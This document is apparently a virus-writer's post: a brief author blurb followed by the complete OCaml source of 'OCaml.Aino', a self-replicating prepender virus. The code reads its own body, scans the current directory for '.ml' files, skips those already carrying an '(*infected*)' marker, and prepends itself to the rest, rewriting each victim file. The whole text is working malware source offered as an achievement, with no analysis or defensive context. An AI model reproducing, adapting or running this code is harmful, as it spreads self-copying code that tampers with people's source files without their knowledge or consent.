This virus was written using the functional language OCaml, It's a simple prepender that took many frustrating days to write! infected all .ml files in the home directory, tested under windows. Author: genetix Lang: OCaml Name: OCaml.Aino - AINO is a finnish name meaning "the only one" #load "str.cma" (*infected*) let mlfile = Sys.argv.(0);; let lines = ref [];; let found = ref 0;; let vbody = ref [];; (*read the virus body*) let chan = open_in mlfile in try while true do lines := input_line chan :: !lines done with End_of_file -> close_in chan let r = List.rev !lines;; try List.iter (fun s -> if s = "(*done*)" then raise Not_found else vbody := s ::!vbody ) r with Not_found -> () let str = String.concat "\n" (List.rev !vbody);; (*infect the file via prepending*) let poison file = let chan = open_in file in let hb = ref [] in try while true do hb := input_line chan :: !hb done with End_of_file -> close_in chan; let m = String.concat "\n" (List.rev !hb) in let channel = open_out file in output_string channel (str^"\n"^"(*done*)"^"\n"^m); close_out channel;; (*We first check if the file is already infected*) let test file = found := 0; let chan = open_in file in try while true do let line = input_line chan in if line = "(*infected*)" then found := 1 done with End_of_file -> close_in chan; if !found = 0 then poison file;; (*jump to poison if it's clean*) (*make sure we only get ml files*) let process file = let re = Str.regexp ".ml" in try let _ = Str.search_forward re file 0 in test file with _ -> ();; (*scan home directory for files*) let dir = "." in let souls = Sys.readdir dir in Array.iter process souls (*done*)